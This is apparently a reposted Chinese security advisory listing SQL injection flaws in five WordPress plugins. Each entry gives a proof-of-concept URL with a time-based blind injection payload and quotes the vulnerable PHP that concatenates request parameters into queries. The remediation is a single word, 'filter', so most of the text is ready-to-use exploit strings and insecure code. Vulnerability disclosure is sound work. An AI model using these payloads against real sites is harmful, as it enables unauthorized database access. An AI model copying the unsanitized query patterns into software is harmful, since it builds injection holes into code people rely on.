1: OdiHost Newsletter plugin <= 1.0 POC: http://HdhCmsTest2cto测试数据 /wp-content/plugins/odihost-newsletter-plugin/includes/openstat.php?uid=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
漏洞代码： $newsletterid = $_GET["id"]; ... $wpdb->query("update newsletterstat set newsletterstatopened = CONCAT(newsletterstatopened ,'". $subscriberid . ",') where newsletterstatnewsletterid= ". $newsletterid); 2： Easy Contact Form Lite plugin <= 1.0.7 POC： http://HdhCmsTest2cto测试数据 /wp-content/plugins/easy-contact-form-lite/requests/sort_row.request.php field_num[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) 漏洞代码： foreach ($_POST['field_num'] as $position=>$field_id) { if ($field_id > 0) { $query = " UPDATE $settings_table_name SET position = '".$position."' WHERE ID = $field_id"; $wpdb->query($query); } 3： WP Symposium plugin <= 0.64 POC: http://HdhCmsTest2cto测试数据 /wp-content/plugins/wp-symposium/uploadify/get_profile_avatar.php?uid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) 漏洞代码： $uid = $_REQUEST['uid']; $sql = "SELECT profile_avatar FROM ".$wpdb->base_prefix."symposium_usermeta WHERE uid = ".$uid;
4： Contus HD FLV Player plugin <= 1.3 POC: http://HdhCmsTest2cto测试数据 /wp-content/plugins/contus-hd-flv-player/process-sortable.php?playid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)&listItem[]=1 漏洞代码： $pid1 = $_GET['playid'];
foreach ($_GET['listItem'] as $position => $item) : mysql_query("UPDATE $wpdb->prefix" . "hdflv_med2play SET `sorder` = $position WHERE `media_id` = $item and playlist_id=$pid1 "); endforeach; 5： File Groups plugin <= 1.1.2 POC: http://HdhCmsTest2cto测试数据 /wp-content/plugins/file-groups/download.php?fgid=-1 AND 1=BENCHMARK(5000000,MD5(CHAR(87,120,109,121))) 漏洞 代码： $fgid = $_GET['fgid']; ... $file_list = $wpdb->get_col("select guid from wp_posts where post_parent = $fgid");
修复：过滤
落叶blog
查看更多关于WordPress多个插件注入漏洞及修复 - 网站安全 - 自的详细内容...